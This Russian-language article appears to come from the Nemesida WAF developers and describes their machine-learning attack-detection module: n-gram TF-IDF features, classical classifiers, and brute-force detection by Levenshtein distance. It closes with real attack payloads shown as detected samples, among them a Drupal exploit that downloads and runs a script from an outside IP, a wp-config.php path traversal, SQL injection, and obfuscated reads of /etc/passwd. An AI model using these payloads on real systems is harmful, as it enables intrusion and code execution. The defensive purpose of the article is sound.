Как мы разрабатывали модуль машинного обучения, почему решили отказаться от нейронных сетей в сторону классических алгоритмов, какие атаки выявляются с использованием расстояния Левенштейна и за счет чего достигается точность обнаружения атак.
Использование модуля Nemesida AI позволяет сократить до 0.01% количество ложных срабатываний, повысить точность определения до 99.98%, выявлять атаки методом перебора и новые векторы с учетом совокупности признаков атаки и прецедентной базы.
Посмотрев на рост популярности машинного обучения и зная, что HTTP-запросы представляют собой обычный текст (пусть и неосмысленный), а синтаксис протокола позволяет интерпретировать данные как строки:
Пример легитимного запроса:
28/Aug/2018:16:55:24 +0300; 200; 127.0.0.1; http; example.com; GET /login.php HTTP/1.1; PHPSESSID=vqmi2ptvisohf62lru0shg3ll7; Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21; -; -; -----------START-BODY----------- -; -----------END-BODY----------
Пример нелегитимного запроса:
28/Aug/2018:16:55:24 +0300; 200; 127.0.0.1; http; example.com; GET %2Flogin.php%3Fsearch%3D%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1; PHPSESSID=vqmi2ptvisohf62lru0shg3ll7; Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21; -; -; -----------START-BODY----------- -; -----------END-BODY---------
мы решили попробовать реализовать модуль машинного обучения (Nemesida AI) для обнаружения атак на веб-приложение.
Машинное обучение — обширный подраздел искусственного интеллекта, изучающий методы построения алгоритмов, способных обучаться.
Перед тем, как приступить к разработке, была сформулирована задача:
Научить модуль машинного обучения выявлять атаки на веб-приложения по содержимому HTTP-запроса, то есть производить классификацию запросов (как минимум, бинарную: легитимный или нелегитимный запрос).
Адаптация схемы классификации строк
Используя общую схему классификации строк, произведем её анализ и адаптацию под нашу задачу:
Этап 1. Обработка трафика.
Анализируем поступающие HTTP-запросы с возможностью их блокирования.
Этап 2. Определение признаков.
Содержимое HTTP-запросов не является осмысленным текстом, поэтому для работы с ним используем не слова, а n-граммы (выбор n – тоже отдельная задача).
Этапы 3 и 4. Фильтрация.
Этапы относятся больше к осмысленному тексту, поэтому для решения задачи они не требуются, исключаем.
Этап 5. Преобразование в векторный вид.
На основе анализа научных исследований и существующих прототипов была построена схема работы модуля машинного обучения, а после анализа данных сформировано признаковое пространство из элементов. Поскольку большинство признаков являются текстовыми, производилась их векторизация для дальнейшего использования в алгоритме распознавания. А так как поля запросов не являются отдельными словами, и, зачастую, состоят из последовательностей символов, было принято решение об использовании подхода на основе анализа частоты встречаемости n-грамм (TF-IDF).
Задача обнаружения атак с математической точки зрения формализовалась как классическая задача классификации (два класса: легитимный и нелегитимный трафик). Выбор алгоритмов производился по критерию доступности реализации и возможности тестирования. Наилучшим образом себя показал алгоритм градиентного бустинга (AdaBoost). Таким образом, после обучения принятие решения Nemesida WAF осуществляется c учетом статистических свойств анализируемых данных, а не на основе детерминированных признаков (сигнатур) атак. В нашем случае вместо «мешка слов» мы используем n-граммы.
Этап 6. Выделение словаря признаков.
Забираем результат работы алгоритма TF-IDF и уменьшаем число признаков (управляя,
например, параметром частоты встречаемости).
Этап 7. Обучение алгоритма.
Производим выбор алгоритма и его обучение. После обучения (при распознавании) работают только блоки 1, 5, 6 + распознавание.
Классические алгоритмы и глубинное обучение
В Nemesida AI мы используем классические алгоритмы машинного обучения, не требующие, в отличие от нейронных сетей, больших вычислительных мощностей.
Глубинное обучение обеспечивает высокую точность, но:
- требует больших затрат на ресурсы как для процесса обучения (на GPU), так и для процесса распознавания (inference может быть и на CPU);
- время, затрачиваемое на обработку запросов, существенно превышает время обработки с использованием классических алгоритмов.
Поскольку не все потенциальные пользователи Nemesida WAF будут иметь возможность приобрести сервер с GPU для глубинного обучения, и время обработки запроса является ключевым фактором, мы решили использовать классические алгоритмы, которые при наличии хорошей обучающей выборки обеспечивают близкую к методам глубинного обучения точность и хорошо масштабируются на любую платформу.
Классические алгоритмы | Многослойные нейронные сети |
1. Высокая точность только при хорошей обучающей выборки.
2. Отсутствуют высокие требования к аппаратному обеспечению (GPU). |
1. Высокие требования к аппаратному обеспечению (GPU).
2. Время обработки запросов существенно превышает время обработки с помощью классических алгоритмов. |
Стратегия разработки ML
При разработке модуля Nemesida AI была использована следующая стратегия:
- Фиксируем уровень ложных срабатываний на значении (до 0.04% на 2017 г., до 0.01% на 2018 г.);
- Увеличиваем до максимума уровень обнаружения при заданном уровне ложных срабатываний.
Исходя из выбранной стратегии, параметры классификатора выбираются с учетом выполнения каждого из условий, а результат решения задачи по формированию обучающих выборок двух классов на основе модели векторного пространства (легитимного трафика и атак) напрямую влияет на качество работы классификатора.
Обучающая выборка нелегитимного трафика базируется на существующей базе атак, получаемых из различных источников, а легитимного трафика — на основе запросов, приходящих на защищаемое веб-приложение и распознанных сигнатурным анализатором как легитимных. Такой подход позволяет адаптировать систему обучения Nemesida AI под конкретное веб-приложение, снижая уровень ложных срабатываний до минимума. Объем формируемой выборки легитимного трафика зависит от объема свободной оперативной памяти сервера, на котором функционирует модуль машинного обучения. Рекомендуемым параметром для обучения моделей является значение в 400.000 запросов при 32 ГБ свободной ОЗУ.
Кросс-валидация
Используя оптимальное значение коэффициентов для кросс-валидации, был выбран метод на основе случайного леса («Random Forest»), который позволил нам достичь следующих показателей:
- количество ложных срабатываний (False Positive): 0.01%
- количество пропусков (False Negative): 0.01%
Таким образом, точность выявления атак на веб-приложение модулем Nemesida AI составляет 99.98%.
Блокирование атак методом перебора (brute-force)
Nemesida WAF выявляет атаки методом перебора (brute-force атаки), в том числе распределенные (с использование распределенных вычислительных сетей), при этом анализ производится на копии запросов, не увеличивая время отклика веб-приложения.
В Nemesida AI выявление атак методом перебора производится по следующему принципу:
- Анализируем копии запросов, поступающих на веб-приложение.
- Извлекаем необходимые для принятия решений данные (IP, URL, Args и Body).
- Фильтруем полученные данные, исключая нецелевые URI для уменьшения количества ложных срабатываний.
- Рассчитываем взаимные расстояния между запросами (мы выбрали расстояние Левенштейна и нечеткую логику).
- Выбираем запросы с одного IP на конкретный URI по мере их близости или запросы со всех IP на конкретный URI (для выявления распределенных атак методом перебора) в рамках определенного временного окна.
- Блокируем источник(и) атаки при превышении пороговых значений.
Результат работы модуля Nemesida AI
При наличии хорошей обучающей выборки классические алгоритмы обеспечивают близкую к методам глубинного обучения точность, хорошо масштабируются на любую платформу и позволяют выявлять в том числе распределенные атаки методом перебора и атаки «нулевого дня» с минимальным количеством ложных срабатываний.
action=revslider_show_image&img=../wp-config.php
q=user%2Fpassword&name%5B%23markup%5D=cd+%2Ftmp%3Bwget+146.185.X.39%2Flug %3Bperl+lug%3Brm+-rf+lug&name%5B%23type%5D=markup&name%5B%23post_render%5D%5B %5D=passthru
id=1+un/**/ion+sel/**/ect+1,2,3--
%2f???%2f??t%20%2f???%2fp??s??
;+cat+/e't'c/pa'ss'wd
(sy.(st).em)(ls);